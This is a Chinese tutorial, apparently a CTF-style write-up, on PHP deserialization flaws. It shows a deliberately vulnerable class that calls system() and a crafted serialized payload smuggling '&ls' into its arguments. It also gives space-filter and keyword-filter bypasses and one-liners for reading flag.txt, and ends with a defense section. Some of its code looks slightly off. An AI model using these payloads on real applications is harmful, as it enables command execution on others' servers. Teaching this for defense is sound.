PHP反序列化漏洞简介及相关技巧小结
字数 1280 2025-08-18 11:38:52

PHP反序列化漏洞详解与实战技巧

一、PHP序列化与反序列化基础

1. 序列化概念

PHP序列化是将对象转换为字符串的过程,用于保存和转储对象。序列化仅保留对象成员变量,不保留函数方法。

序列化函数serialize()
反序列化函数unserialize()

2. 序列化格式解析

示例代码:

class Test {
    public $a = 'ThisA';
    protected $b = 'ThisB';
    private $c = 'ThisC';
    public function test1() { return 'this is test1'; }
}
$test = new Test();
echo serialize($test);

输出结果:

O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}

格式说明:

  • O:表示对象
  • 4:对象名称长度
  • "Test":对象名称
  • 3:对象成员数量
  • s:1:"a":字符串类型,长度1,值为"a"
  • s:5:"ThisA":字符串类型,长度5,值为"ThisA"

3. 不同访问修饰符的序列化表现

  • public:直接显示变量名(如s:1:"a"
  • protected:变量名前加%00*%00(显示为s:4:"*b"
  • private:变量名前加%00类名%00(显示为s:7:"Testc"

二、魔术方法与执行顺序

1. 重要魔术方法

  • __construct():对象创建时调用
  • __destruct():对象销毁时调用
  • __toString():对象被当作字符串使用时调用
  • __sleep():对象被序列化前调用
  • __wakeup():对象被反序列化后调用

2. 执行顺序示例

class Test {
    public function __construct() { echo 'construct run'; }
    public function __destruct() { echo 'destruct run'; }
    public function __toString() { return 'toString run'; }
    public function __sleep() { echo 'sleep run'; return []; }
    public function __wakeup() { echo 'wakeup run'; }
}

$test = new Test();          // 触发__construct
$sTest = serialize($test);   // 先触发__sleep,再序列化
$usTest = unserialize($sTest);// 先反序列化,再触发__wakeup
$string = 'hello '.$test;    // 触发__toString
// 脚本结束触发__destruct

三、反序列化漏洞利用

1. 漏洞原理

当反序列化用户可控的数据时,如果类中存在危险方法(如__destruct()中的call_user_func_array()),攻击者可以构造恶意序列化字符串执行任意代码。

2. 典型漏洞代码分析

class come {
    private $method;
    private $args;
    
    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    
    function waf($str) {
        $str = preg_replace("/[|]/", "", $str);
        $str = str_replace('flag', '', $str);
        return $str;
    }
    
    function echos($host) {
        system("echos $host".$host);
    }
    
    function __destruct() {
        if (in_array($this->method, array("echos"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}

3. 利用步骤

  1. 变量覆盖:通过parse_str()覆盖变量绕过条件判断

    ?first=doller&a=var=give%26bbb=me%26ccc=flag
    

    (注意:&需要URL编码为%26

  2. 构造恶意序列化数据

    O:4:"come":2:{
        s:12:"%00come%00method";s:5:"echos";
        s:10:"%00come%00args";a:1:{i:0;s:3:"&ls";}
    }
    
    • %00表示NULL字符
    • method必须为echos(通过in_array检查)
    • args数组包含要执行的命令
  3. 绕过WAF过滤

    • 空格过滤:使用${IFS}(Linux)或,/.(Windows)
    • flag过滤:双写绕过(flflagag

4. 命令执行技巧

Linux

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
KG=$'\x20flag.txt'&&cat$KG

Windows

type.\flag.txt
type,flag.txt

四、防御措施

  1. 不要反序列化用户输入:这是最根本的解决方案
  2. 使用安全函数:如json_encode()/json_decode()
  3. 严格类型检查:反序列化前验证数据格式
  4. 限制魔术方法:避免在魔术方法中执行危险操作
  5. 使用PHP 7的allowed_classes
    unserialize($data, ['allowed_classes' => ['SafeClass']]);
    

五、实战注意事项

  1. NULL字符处理:private/protected属性序列化包含%00,需要正确编码
  2. 执行顺序__wakeup()在反序列化后立即执行,__destruct()在对象销毁时执行
  3. 错误调试:开发时关闭error_reporting(0)以便查看错误信息
  4. 属性数量匹配:序列化字符串中的属性数量需与实际一致

通过深入理解PHP序列化机制和魔术方法的执行流程,可以有效发现和利用反序列化漏洞,同时也能够更好地防御此类安全问题。

PHP反序列化漏洞详解与实战技巧 一、PHP序列化与反序列化基础 1. 序列化概念 PHP序列化是将对象转换为字符串的过程,用于保存和转储对象。序列化仅保留对象成员变量,不保留函数方法。 序列化函数 : serialize() 反序列化函数 : unserialize() 2. 序列化格式解析 示例代码: 输出结果: 格式说明: O :表示对象 4 :对象名称长度 "Test" :对象名称 3 :对象成员数量 s:1:"a" :字符串类型,长度1,值为"a" s:5:"ThisA" :字符串类型,长度5,值为"ThisA" 3. 不同访问修饰符的序列化表现 public :直接显示变量名(如 s:1:"a" ) protected :变量名前加 %00*%00 (显示为 s:4:"*b" ) private :变量名前加 %00类名%00 (显示为 s:7:"Testc" ) 二、魔术方法与执行顺序 1. 重要魔术方法 __construct() :对象创建时调用 __destruct() :对象销毁时调用 __toString() :对象被当作字符串使用时调用 __sleep() :对象被序列化前调用 __wakeup() :对象被反序列化后调用 2. 执行顺序示例 三、反序列化漏洞利用 1. 漏洞原理 当反序列化用户可控的数据时,如果类中存在危险方法(如 __destruct() 中的 call_user_func_array() ),攻击者可以构造恶意序列化字符串执行任意代码。 2. 典型漏洞代码分析 3. 利用步骤 变量覆盖 :通过 parse_str() 覆盖变量绕过条件判断 (注意: & 需要URL编码为 %26 ) 构造恶意序列化数据 : %00 表示NULL字符 method 必须为 echos (通过 in_array 检查) args 数组包含要执行的命令 绕过WAF过滤 : 空格过滤:使用 ${IFS} (Linux)或 , / . (Windows) flag 过滤:双写绕过( flflagag ) 4. 命令执行技巧 Linux : Windows : 四、防御措施 不要反序列化用户输入 :这是最根本的解决方案 使用安全函数 :如 json_encode() / json_decode() 严格类型检查 :反序列化前验证数据格式 限制魔术方法 :避免在魔术方法中执行危险操作 使用PHP 7的 allowed_classes : 五、实战注意事项 NULL字符处理 :private/protected属性序列化包含 %00 ,需要正确编码 执行顺序 : __wakeup() 在反序列化后立即执行, __destruct() 在对象销毁时执行 错误调试 :开发时关闭 error_reporting(0) 以便查看错误信息 属性数量匹配 :序列化字符串中的属性数量需与实际一致 通过深入理解PHP序列化机制和魔术方法的执行流程,可以有效发现和利用反序列化漏洞,同时也能够更好地防御此类安全问题。